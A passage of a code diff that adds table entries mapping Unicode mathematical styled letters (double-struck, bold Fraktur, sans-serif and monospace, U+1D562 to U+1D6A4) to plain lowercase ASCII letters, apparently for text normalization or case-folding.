+ [0x1D562] = 0x0071, -- MATHEMATICAL DOUBLE-STRUCK SMALL Q
+ [0x1D563] = 0x0072, -- MATHEMATICAL DOUBLE-STRUCK SMALL R
+ [0x1D564] = 0x0073, -- MATHEMATICAL DOUBLE-STRUCK SMALL S
+ [0x1D565] = 0x0074, -- MATHEMATICAL DOUBLE-STRUCK SMALL T
+ [0x1D566] = 0x0075, -- MATHEMATICAL DOUBLE-STRUCK SMALL U
+ [0x1D567] = 0x0076, -- MATHEMATICAL DOUBLE-STRUCK SMALL V
+ [0x1D568] = 0x0077, -- MATHEMATICAL DOUBLE-STRUCK SMALL W
+ [0x1D569] = 0x0078, -- MATHEMATICAL DOUBLE-STRUCK SMALL X
+ [0x1D56A] = 0x0079, -- MATHEMATICAL DOUBLE-STRUCK SMALL Y
+ [0x1D56B] = 0x007A, -- MATHEMATICAL DOUBLE-STRUCK SMALL Z
+ [0x1D56C] = 0x0061, -- MATHEMATICAL BOLD FRAKTUR CAPITAL A
+ [0x1D56D] = 0x0062, -- MATHEMATICAL BOLD FRAKTUR CAPITAL B
+ [0x1D56E] = 0x0063, -- MATHEMATICAL BOLD FRAKTUR CAPITAL C
+ [0x1D56F] = 0x0064, -- MATHEMATICAL BOLD FRAKTUR CAPITAL D
+ [0x1D570] = 0x0065, -- MATHEMATICAL BOLD FRAKTUR CAPITAL E
+ [0x1D571] = 0x0066, -- MATHEMATICAL BOLD FRAKTUR CAPITAL F
+ [0x1D572] = 0x0067, -- MATHEMATICAL BOLD FRAKTUR CAPITAL G
+ [0x1D573] = 0x0068, -- MATHEMATICAL BOLD FRAKTUR CAPITAL H
+ [0x1D574] = 0x0069, -- MATHEMATICAL BOLD FRAKTUR CAPITAL I
+ [0x1D575] = 0x006A, -- MATHEMATICAL BOLD FRAKTUR CAPITAL J
+ [0x1D576] = 0x006B, -- MATHEMATICAL BOLD FRAKTUR CAPITAL K
+ [0x1D577] = 0x006C, -- MATHEMATICAL BOLD FRAKTUR CAPITAL L
+ [0x1D578] = 0x006D, -- MATHEMATICAL BOLD FRAKTUR CAPITAL M
+ [0x1D579] = 0x006E, -- MATHEMATICAL BOLD FRAKTUR CAPITAL N
+ [0x1D57A] = 0x006F, -- MATHEMATICAL BOLD FRAKTUR CAPITAL O
+ [0x1D57B] = 0x0070, -- MATHEMATICAL BOLD FRAKTUR CAPITAL P
+ [0x1D57C] = 0x0071, -- MATHEMATICAL BOLD FRAKTUR CAPITAL Q
+ [0x1D57D] = 0x0072, -- MATHEMATICAL BOLD FRAKTUR CAPITAL R
+ [0x1D57E] = 0x0073, -- MATHEMATICAL BOLD FRAKTUR CAPITAL S
+ [0x1D57F] = 0x0074, -- MATHEMATICAL BOLD FRAKTUR CAPITAL T
+ [0x1D580] = 0x0075, -- MATHEMATICAL BOLD FRAKTUR CAPITAL U
+ [0x1D581] = 0x0076, -- MATHEMATICAL BOLD FRAKTUR CAPITAL V
+ [0x1D582] = 0x0077, -- MATHEMATICAL BOLD FRAKTUR CAPITAL W
+ [0x1D583] = 0x0078, -- MATHEMATICAL BOLD FRAKTUR CAPITAL X
+ [0x1D584] = 0x0079, -- MATHEMATICAL BOLD FRAKTUR CAPITAL Y
+ [0x1D585] = 0x007A, -- MATHEMATICAL BOLD FRAKTUR CAPITAL Z
+ [0x1D586] = 0x0061, -- MATHEMATICAL BOLD FRAKTUR SMALL A
+ [0x1D587] = 0x0062, -- MATHEMATICAL BOLD FRAKTUR SMALL B
+ [0x1D588] = 0x0063, -- MATHEMATICAL BOLD FRAKTUR SMALL C
+ [0x1D589] = 0x0064, -- MATHEMATICAL BOLD FRAKTUR SMALL D
+ [0x1D58A] = 0x0065, -- MATHEMATICAL BOLD FRAKTUR SMALL E
+ [0x1D58B] = 0x0066, -- MATHEMATICAL BOLD FRAKTUR SMALL F
+ [0x1D58C] = 0x0067, -- MATHEMATICAL BOLD FRAKTUR SMALL G
+ [0x1D58D] = 0x0068, -- MATHEMATICAL BOLD FRAKTUR SMALL H
+ [0x1D58E] = 0x0069, -- MATHEMATICAL BOLD FRAKTUR SMALL I
+ [0x1D58F] = 0x006A, -- MATHEMATICAL BOLD FRAKTUR SMALL J
+ [0x1D590] = 0x006B, -- MATHEMATICAL BOLD FRAKTUR SMALL K
+ [0x1D591] = 0x006C, -- MATHEMATICAL BOLD FRAKTUR SMALL L
+ [0x1D592] = 0x006D, -- MATHEMATICAL BOLD FRAKTUR SMALL M
+ [0x1D593] = 0x006E, -- MATHEMATICAL BOLD FRAKTUR SMALL N
+ [0x1D594] = 0x006F, -- MATHEMATICAL BOLD FRAKTUR SMALL O
+ [0x1D595] = 0x0070, -- MATHEMATICAL BOLD FRAKTUR SMALL P
+ [0x1D596] = 0x0071, -- MATHEMATICAL BOLD FRAKTUR SMALL Q
+ [0x1D597] = 0x0072, -- MATHEMATICAL BOLD FRAKTUR SMALL R
+ [0x1D598] = 0x0073, -- MATHEMATICAL BOLD FRAKTUR SMALL S
+ [0x1D599] = 0x0074, -- MATHEMATICAL BOLD FRAKTUR SMALL T
+ [0x1D59A] = 0x0075, -- MATHEMATICAL BOLD FRAKTUR SMALL U
+ [0x1D59B] = 0x0076, -- MATHEMATICAL BOLD FRAKTUR SMALL V
+ [0x1D59C] = 0x0077, -- MATHEMATICAL BOLD FRAKTUR SMALL W
+ [0x1D59D] = 0x0078, -- MATHEMATICAL BOLD FRAKTUR SMALL X
+ [0x1D59E] = 0x0079, -- MATHEMATICAL BOLD FRAKTUR SMALL Y
+ [0x1D59F] = 0x007A, -- MATHEMATICAL BOLD FRAKTUR SMALL Z
+ [0x1D5A0] = 0x0061, -- MATHEMATICAL SANS-SERIF CAPITAL A
+ [0x1D5A1] = 0x0062, -- MATHEMATICAL SANS-SERIF CAPITAL B
+ [0x1D5A2] = 0x0063, -- MATHEMATICAL SANS-SERIF CAPITAL C
+ [0x1D5A3] = 0x0064, -- MATHEMATICAL SANS-SERIF CAPITAL D
+ [0x1D5A4] = 0x0065, -- MATHEMATICAL SANS-SERIF CAPITAL E
+ [0x1D5A5] = 0x0066, -- MATHEMATICAL SANS-SERIF CAPITAL F
+ [0x1D5A6] = 0x0067, -- MATHEMATICAL SANS-SERIF CAPITAL G
+ [0x1D5A7] = 0x0068, -- MATHEMATICAL SANS-SERIF CAPITAL H
+ [0x1D5A8] = 0x0069, -- MATHEMATICAL SANS-SERIF CAPITAL I
+ [0x1D5A9] = 0x006A, -- MATHEMATICAL SANS-SERIF CAPITAL J
+ [0x1D5AA] = 0x006B, -- MATHEMATICAL SANS-SERIF CAPITAL K
+ [0x1D5AB] = 0x006C, -- MATHEMATICAL SANS-SERIF CAPITAL L
+ [0x1D5AC] = 0x006D, -- MATHEMATICAL SANS-SERIF CAPITAL M
+ [0x1D5AD] = 0x006E, -- MATHEMATICAL SANS-SERIF CAPITAL N
+ [0x1D5AE] = 0x006F, -- MATHEMATICAL SANS-SERIF CAPITAL O
+ [0x1D5AF] = 0x0070, -- MATHEMATICAL SANS-SERIF CAPITAL P
+ [0x1D5B0] = 0x0071, -- MATHEMATICAL SANS-SERIF CAPITAL Q
+ [0x1D5B1] = 0x0072, -- MATHEMATICAL SANS-SERIF CAPITAL R
+ [0x1D5B2] = 0x0073, -- MATHEMATICAL SANS-SERIF CAPITAL S
+ [0x1D5B3] = 0x0074, -- MATHEMATICAL SANS-SERIF CAPITAL T
+ [0x1D5B4] = 0x0075, -- MATHEMATICAL SANS-SERIF CAPITAL U
+ [0x1D5B5] = 0x0076, -- MATHEMATICAL SANS-SERIF CAPITAL V
+ [0x1D5B6] = 0x0077, -- MATHEMATICAL SANS-SERIF CAPITAL W
+ [0x1D5B7] = 0x0078, -- MATHEMATICAL SANS-SERIF CAPITAL X
+ [0x1D5B8] = 0x0079, -- MATHEMATICAL SANS-SERIF CAPITAL Y
+ [0x1D5B9] = 0x007A, -- MATHEMATICAL SANS-SERIF CAPITAL Z
+ [0x1D5BA] = 0x0061, -- MATHEMATICAL SANS-SERIF SMALL A
+ [0x1D5BB] = 0x0062, -- MATHEMATICAL SANS-SERIF SMALL B
+ [0x1D5BC] = 0x0063, -- MATHEMATICAL SANS-SERIF SMALL C
+ [0x1D5BD] = 0x0064, -- MATHEMATICAL SANS-SERIF SMALL D
+ [0x1D5BE] = 0x0065, -- MATHEMATICAL SANS-SERIF SMALL E
+ [0x1D5BF] = 0x0066, -- MATHEMATICAL SANS-SERIF SMALL F
+ [0x1D5C0] = 0x0067, -- MATHEMATICAL SANS-SERIF SMALL G
+ [0x1D5C1] = 0x0068, -- MATHEMATICAL SANS-SERIF SMALL H
+ [0x1D5C2] = 0x0069, -- MATHEMATICAL SANS-SERIF SMALL I
+ [0x1D5C3] = 0x006A, -- MATHEMATICAL SANS-SERIF SMALL J
+ [0x1D5C4] = 0x006B, -- MATHEMATICAL SANS-SERIF SMALL K
+ [0x1D5C5] = 0x006C, -- MATHEMATICAL SANS-SERIF SMALL L
+ [0x1D5C6] = 0x006D, -- MATHEMATICAL SANS-SERIF SMALL M
+ [0x1D5C7] = 0x006E, -- MATHEMATICAL SANS-SERIF SMALL N
+ [0x1D5C8] = 0x006F, -- MATHEMATICAL SANS-SERIF SMALL O
+ [0x1D5C9] = 0x0070, -- MATHEMATICAL SANS-SERIF SMALL P
+ [0x1D5CA] = 0x0071, -- MATHEMATICAL SANS-SERIF SMALL Q
+ [0x1D5CB] = 0x0072, -- MATHEMATICAL SANS-SERIF SMALL R
+ [0x1D5CC] = 0x0073, -- MATHEMATICAL SANS-SERIF SMALL S
+ [0x1D5CD] = 0x0074, -- MATHEMATICAL SANS-SERIF SMALL T
+ [0x1D5CE] = 0x0075, -- MATHEMATICAL SANS-SERIF SMALL U
+ [0x1D5CF] = 0x0076, -- MATHEMATICAL SANS-SERIF SMALL V
+ [0x1D5D0] = 0x0077, -- MATHEMATICAL SANS-SERIF SMALL W
+ [0x1D5D1] = 0x0078, -- MATHEMATICAL SANS-SERIF SMALL X
+ [0x1D5D2] = 0x0079, -- MATHEMATICAL SANS-SERIF SMALL Y
+ [0x1D5D3] = 0x007A, -- MATHEMATICAL SANS-SERIF SMALL Z
+ [0x1D5D4] = 0x0061, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL A
+ [0x1D5D5] = 0x0062, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL B
+ [0x1D5D6] = 0x0063, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL C
+ [0x1D5D7] = 0x0064, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL D
+ [0x1D5D8] = 0x0065, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL E
+ [0x1D5D9] = 0x0066, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL F
+ [0x1D5DA] = 0x0067, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL G
+ [0x1D5DB] = 0x0068, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL H
+ [0x1D5DC] = 0x0069, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL I
+ [0x1D5DD] = 0x006A, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL J
+ [0x1D5DE] = 0x006B, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL K
+ [0x1D5DF] = 0x006C, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL L
+ [0x1D5E0] = 0x006D, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL M
+ [0x1D5E1] = 0x006E, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL N
+ [0x1D5E2] = 0x006F, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL O
+ [0x1D5E3] = 0x0070, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL P
+ [0x1D5E4] = 0x0071, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL Q
+ [0x1D5E5] = 0x0072, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL R
+ [0x1D5E6] = 0x0073, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL S
+ [0x1D5E7] = 0x0074, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL T
+ [0x1D5E8] = 0x0075, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL U
+ [0x1D5E9] = 0x0076, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL V
+ [0x1D5EA] = 0x0077, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL W
+ [0x1D5EB] = 0x0078, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL X
+ [0x1D5EC] = 0x0079, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL Y
+ [0x1D5ED] = 0x007A, -- MATHEMATICAL SANS-SERIF BOLD CAPITAL Z
+ [0x1D5EE] = 0x0061, -- MATHEMATICAL SANS-SERIF BOLD SMALL A
+ [0x1D5EF] = 0x0062, -- MATHEMATICAL SANS-SERIF BOLD SMALL B
+ [0x1D5F0] = 0x0063, -- MATHEMATICAL SANS-SERIF BOLD SMALL C
+ [0x1D5F1] = 0x0064, -- MATHEMATICAL SANS-SERIF BOLD SMALL D
+ [0x1D5F2] = 0x0065, -- MATHEMATICAL SANS-SERIF BOLD SMALL E
+ [0x1D5F3] = 0x0066, -- MATHEMATICAL SANS-SERIF BOLD SMALL F
+ [0x1D5F4] = 0x0067, -- MATHEMATICAL SANS-SERIF BOLD SMALL G
+ [0x1D5F5] = 0x0068, -- MATHEMATICAL SANS-SERIF BOLD SMALL H
+ [0x1D5F6] = 0x0069, -- MATHEMATICAL SANS-SERIF BOLD SMALL I
+ [0x1D5F7] = 0x006A, -- MATHEMATICAL SANS-SERIF BOLD SMALL J
+ [0x1D5F8] = 0x006B, -- MATHEMATICAL SANS-SERIF BOLD SMALL K
+ [0x1D5F9] = 0x006C, -- MATHEMATICAL SANS-SERIF BOLD SMALL L
+ [0x1D5FA] = 0x006D, -- MATHEMATICAL SANS-SERIF BOLD SMALL M
+ [0x1D5FB] = 0x006E, -- MATHEMATICAL SANS-SERIF BOLD SMALL N
+ [0x1D5FC] = 0x006F, -- MATHEMATICAL SANS-SERIF BOLD SMALL O
+ [0x1D5FD] = 0x0070, -- MATHEMATICAL SANS-SERIF BOLD SMALL P
+ [0x1D5FE] = 0x0071, -- MATHEMATICAL SANS-SERIF BOLD SMALL Q
+ [0x1D5FF] = 0x0072, -- MATHEMATICAL SANS-SERIF BOLD SMALL R
+ [0x1D600] = 0x0073, -- MATHEMATICAL SANS-SERIF BOLD SMALL S
+ [0x1D601] = 0x0074, -- MATHEMATICAL SANS-SERIF BOLD SMALL T
+ [0x1D602] = 0x0075, -- MATHEMATICAL SANS-SERIF BOLD SMALL U
+ [0x1D603] = 0x0076, -- MATHEMATICAL SANS-SERIF BOLD SMALL V
+ [0x1D604] = 0x0077, -- MATHEMATICAL SANS-SERIF BOLD SMALL W
+ [0x1D605] = 0x0078, -- MATHEMATICAL SANS-SERIF BOLD SMALL X
+ [0x1D606] = 0x0079, -- MATHEMATICAL SANS-SERIF BOLD SMALL Y
+ [0x1D607] = 0x007A, -- MATHEMATICAL SANS-SERIF BOLD SMALL Z
+ [0x1D608] = 0x0061, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL A
+ [0x1D609] = 0x0062, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL B
+ [0x1D60A] = 0x0063, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL C
+ [0x1D60B] = 0x0064, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL D
+ [0x1D60C] = 0x0065, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL E
+ [0x1D60D] = 0x0066, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL F
+ [0x1D60E] = 0x0067, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL G
+ [0x1D60F] = 0x0068, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL H
+ [0x1D610] = 0x0069, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL I
+ [0x1D611] = 0x006A, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL J
+ [0x1D612] = 0x006B, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL K
+ [0x1D613] = 0x006C, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL L
+ [0x1D614] = 0x006D, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL M
+ [0x1D615] = 0x006E, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL N
+ [0x1D616] = 0x006F, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL O
+ [0x1D617] = 0x0070, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL P
+ [0x1D618] = 0x0071, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL Q
+ [0x1D619] = 0x0072, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL R
+ [0x1D61A] = 0x0073, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL S
+ [0x1D61B] = 0x0074, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL T
+ [0x1D61C] = 0x0075, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL U
+ [0x1D61D] = 0x0076, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL V
+ [0x1D61E] = 0x0077, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL W
+ [0x1D61F] = 0x0078, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL X
+ [0x1D620] = 0x0079, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL Y
+ [0x1D621] = 0x007A, -- MATHEMATICAL SANS-SERIF ITALIC CAPITAL Z
+ [0x1D622] = 0x0061, -- MATHEMATICAL SANS-SERIF ITALIC SMALL A
+ [0x1D623] = 0x0062, -- MATHEMATICAL SANS-SERIF ITALIC SMALL B
+ [0x1D624] = 0x0063, -- MATHEMATICAL SANS-SERIF ITALIC SMALL C
+ [0x1D625] = 0x0064, -- MATHEMATICAL SANS-SERIF ITALIC SMALL D
+ [0x1D626] = 0x0065, -- MATHEMATICAL SANS-SERIF ITALIC SMALL E
+ [0x1D627] = 0x0066, -- MATHEMATICAL SANS-SERIF ITALIC SMALL F
+ [0x1D628] = 0x0067, -- MATHEMATICAL SANS-SERIF ITALIC SMALL G
+ [0x1D629] = 0x0068, -- MATHEMATICAL SANS-SERIF ITALIC SMALL H
+ [0x1D62A] = 0x0069, -- MATHEMATICAL SANS-SERIF ITALIC SMALL I
+ [0x1D62B] = 0x006A, -- MATHEMATICAL SANS-SERIF ITALIC SMALL J
+ [0x1D62C] = 0x006B, -- MATHEMATICAL SANS-SERIF ITALIC SMALL K
+ [0x1D62D] = 0x006C, -- MATHEMATICAL SANS-SERIF ITALIC SMALL L
+ [0x1D62E] = 0x006D, -- MATHEMATICAL SANS-SERIF ITALIC SMALL M
+ [0x1D62F] = 0x006E, -- MATHEMATICAL SANS-SERIF ITALIC SMALL N
+ [0x1D630] = 0x006F, -- MATHEMATICAL SANS-SERIF ITALIC SMALL O
+ [0x1D631] = 0x0070, -- MATHEMATICAL SANS-SERIF ITALIC SMALL P
+ [0x1D632] = 0x0071, -- MATHEMATICAL SANS-SERIF ITALIC SMALL Q
+ [0x1D633] = 0x0072, -- MATHEMATICAL SANS-SERIF ITALIC SMALL R
+ [0x1D634] = 0x0073, -- MATHEMATICAL SANS-SERIF ITALIC SMALL S
+ [0x1D635] = 0x0074, -- MATHEMATICAL SANS-SERIF ITALIC SMALL T
+ [0x1D636] = 0x0075, -- MATHEMATICAL SANS-SERIF ITALIC SMALL U
+ [0x1D637] = 0x0076, -- MATHEMATICAL SANS-SERIF ITALIC SMALL V
+ [0x1D638] = 0x0077, -- MATHEMATICAL SANS-SERIF ITALIC SMALL W
+ [0x1D639] = 0x0078, -- MATHEMATICAL SANS-SERIF ITALIC SMALL X
+ [0x1D63A] = 0x0079, -- MATHEMATICAL SANS-SERIF ITALIC SMALL Y
+ [0x1D63B] = 0x007A, -- MATHEMATICAL SANS-SERIF ITALIC SMALL Z
+ [0x1D63C] = 0x0061, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL A
+ [0x1D63D] = 0x0062, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL B
+ [0x1D63E] = 0x0063, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL C
+ [0x1D63F] = 0x0064, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL D
+ [0x1D640] = 0x0065, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL E
+ [0x1D641] = 0x0066, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL F
+ [0x1D642] = 0x0067, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL G
+ [0x1D643] = 0x0068, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL H
+ [0x1D644] = 0x0069, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL I
+ [0x1D645] = 0x006A, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL J
+ [0x1D646] = 0x006B, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL K
+ [0x1D647] = 0x006C, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL L
+ [0x1D648] = 0x006D, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL M
+ [0x1D649] = 0x006E, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL N
+ [0x1D64A] = 0x006F, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL O
+ [0x1D64B] = 0x0070, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL P
+ [0x1D64C] = 0x0071, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL Q
+ [0x1D64D] = 0x0072, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL R
+ [0x1D64E] = 0x0073, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL S
+ [0x1D64F] = 0x0074, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL T
+ [0x1D650] = 0x0075, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL U
+ [0x1D651] = 0x0076, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL V
+ [0x1D652] = 0x0077, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL W
+ [0x1D653] = 0x0078, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL X
+ [0x1D654] = 0x0079, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL Y
+ [0x1D655] = 0x007A, -- MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL Z
+ [0x1D656] = 0x0061, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL A
+ [0x1D657] = 0x0062, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL B
+ [0x1D658] = 0x0063, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL C
+ [0x1D659] = 0x0064, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL D
+ [0x1D65A] = 0x0065, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL E
+ [0x1D65B] = 0x0066, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL F
+ [0x1D65C] = 0x0067, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL G
+ [0x1D65D] = 0x0068, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL H
+ [0x1D65E] = 0x0069, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL I
+ [0x1D65F] = 0x006A, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL J
+ [0x1D660] = 0x006B, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL K
+ [0x1D661] = 0x006C, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL L
+ [0x1D662] = 0x006D, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL M
+ [0x1D663] = 0x006E, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL N
+ [0x1D664] = 0x006F, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL O
+ [0x1D665] = 0x0070, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL P
+ [0x1D666] = 0x0071, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL Q
+ [0x1D667] = 0x0072, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL R
+ [0x1D668] = 0x0073, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL S
+ [0x1D669] = 0x0074, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL T
+ [0x1D66A] = 0x0075, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL U
+ [0x1D66B] = 0x0076, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL V
+ [0x1D66C] = 0x0077, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL W
+ [0x1D66D] = 0x0078, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL X
+ [0x1D66E] = 0x0079, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL Y
+ [0x1D66F] = 0x007A, -- MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL Z
+ [0x1D670] = 0x0061, -- MATHEMATICAL MONOSPACE CAPITAL A
+ [0x1D671] = 0x0062, -- MATHEMATICAL MONOSPACE CAPITAL B
+ [0x1D672] = 0x0063, -- MATHEMATICAL MONOSPACE CAPITAL C
+ [0x1D673] = 0x0064, -- MATHEMATICAL MONOSPACE CAPITAL D
+ [0x1D674] = 0x0065, -- MATHEMATICAL MONOSPACE CAPITAL E
+ [0x1D675] = 0x0066, -- MATHEMATICAL MONOSPACE CAPITAL F
+ [0x1D676] = 0x0067, -- MATHEMATICAL MONOSPACE CAPITAL G
+ [0x1D677] = 0x0068, -- MATHEMATICAL MONOSPACE CAPITAL H
+ [0x1D678] = 0x0069, -- MATHEMATICAL MONOSPACE CAPITAL I
+ [0x1D679] = 0x006A, -- MATHEMATICAL MONOSPACE CAPITAL J
+ [0x1D67A] = 0x006B, -- MATHEMATICAL MONOSPACE CAPITAL K
+ [0x1D67B] = 0x006C, -- MATHEMATICAL MONOSPACE CAPITAL L
+ [0x1D67C] = 0x006D, -- MATHEMATICAL MONOSPACE CAPITAL M
+ [0x1D67D] = 0x006E, -- MATHEMATICAL MONOSPACE CAPITAL N
+ [0x1D67E] = 0x006F, -- MATHEMATICAL MONOSPACE CAPITAL O
+ [0x1D67F] = 0x0070, -- MATHEMATICAL MONOSPACE CAPITAL P
+ [0x1D680] = 0x0071, -- MATHEMATICAL MONOSPACE CAPITAL Q
+ [0x1D681] = 0x0072, -- MATHEMATICAL MONOSPACE CAPITAL R
+ [0x1D682] = 0x0073, -- MATHEMATICAL MONOSPACE CAPITAL S
+ [0x1D683] = 0x0074, -- MATHEMATICAL MONOSPACE CAPITAL T
+ [0x1D684] = 0x0075, -- MATHEMATICAL MONOSPACE CAPITAL U
+ [0x1D685] = 0x0076, -- MATHEMATICAL MONOSPACE CAPITAL V
+ [0x1D686] = 0x0077, -- MATHEMATICAL MONOSPACE CAPITAL W
+ [0x1D687] = 0x0078, -- MATHEMATICAL MONOSPACE CAPITAL X
+ [0x1D688] = 0x0079, -- MATHEMATICAL MONOSPACE CAPITAL Y
+ [0x1D689] = 0x007A, -- MATHEMATICAL MONOSPACE CAPITAL Z
+ [0x1D68A] = 0x0061, -- MATHEMATICAL MONOSPACE SMALL A
+ [0x1D68B] = 0x0062, -- MATHEMATICAL MONOSPACE SMALL B
+ [0x1D68C] = 0x0063, -- MATHEMATICAL MONOSPACE SMALL C
+ [0x1D68D] = 0x0064, -- MATHEMATICAL MONOSPACE SMALL D
+ [0x1D68E] = 0x0065, -- MATHEMATICAL MONOSPACE SMALL E
+ [0x1D68F] = 0x0066, -- MATHEMATICAL MONOSPACE SMALL F
+ [0x1D690] = 0x0067, -- MATHEMATICAL MONOSPACE SMALL G
+ [0x1D691] = 0x0068, -- MATHEMATICAL MONOSPACE SMALL H
+ [0x1D692] = 0x0069, -- MATHEMATICAL MONOSPACE SMALL I
+ [0x1D693] = 0x006A, -- MATHEMATICAL MONOSPACE SMALL J
+ [0x1D694] = 0x006B, -- MATHEMATICAL MONOSPACE SMALL K
+ [0x1D695] = 0x006C, -- MATHEMATICAL MONOSPACE SMALL L
+ [0x1D696] = 0x006D, -- MATHEMATICAL MONOSPACE SMALL M
+ [0x1D697] = 0x006E, -- MATHEMATICAL MONOSPACE SMALL N
+ [0x1D698] = 0x006F, -- MATHEMATICAL MONOSPACE SMALL O
+ [0x1D699] = 0x0070, -- MATHEMATICAL MONOSPACE SMALL P
+ [0x1D69A] = 0x0071, -- MATHEMATICAL MONOSPACE SMALL Q
+ [0x1D69B] = 0x0072, -- MATHEMATICAL MONOSPACE SMALL R
+ [0x1D69C] = 0x0073, -- MATHEMATICAL MONOSPACE SMALL S
+ [0x1D69D] = 0x0074, -- MATHEMATICAL MONOSPACE SMALL T
+ [0x1D69E] = 0x0075, -- MATHEMATICAL MONOSPACE SMALL U
+ [0x1D69F] = 0x0076, -- MATHEMATICAL MONOSPACE SMALL V
+ [0x1D6A0] = 0x0077, -- MATHEMATICAL MONOSPACE SMALL W
+ [0x1D6A1] = 0x0078, -- MATHEMATICAL MONOSPACE SMALL X
+ [0x1D6A2] = 0x0079, -- MATHEMATICAL MONOSPACE SMALL Y
+ [0x1D6A3] = 0x007A, -- MATHEMATICAL MONOSPACE SMALL Z
+ [0x1D6A4] = 0x0131, -- MATHEMATICAL ITALIC SMALL DOTLESS I
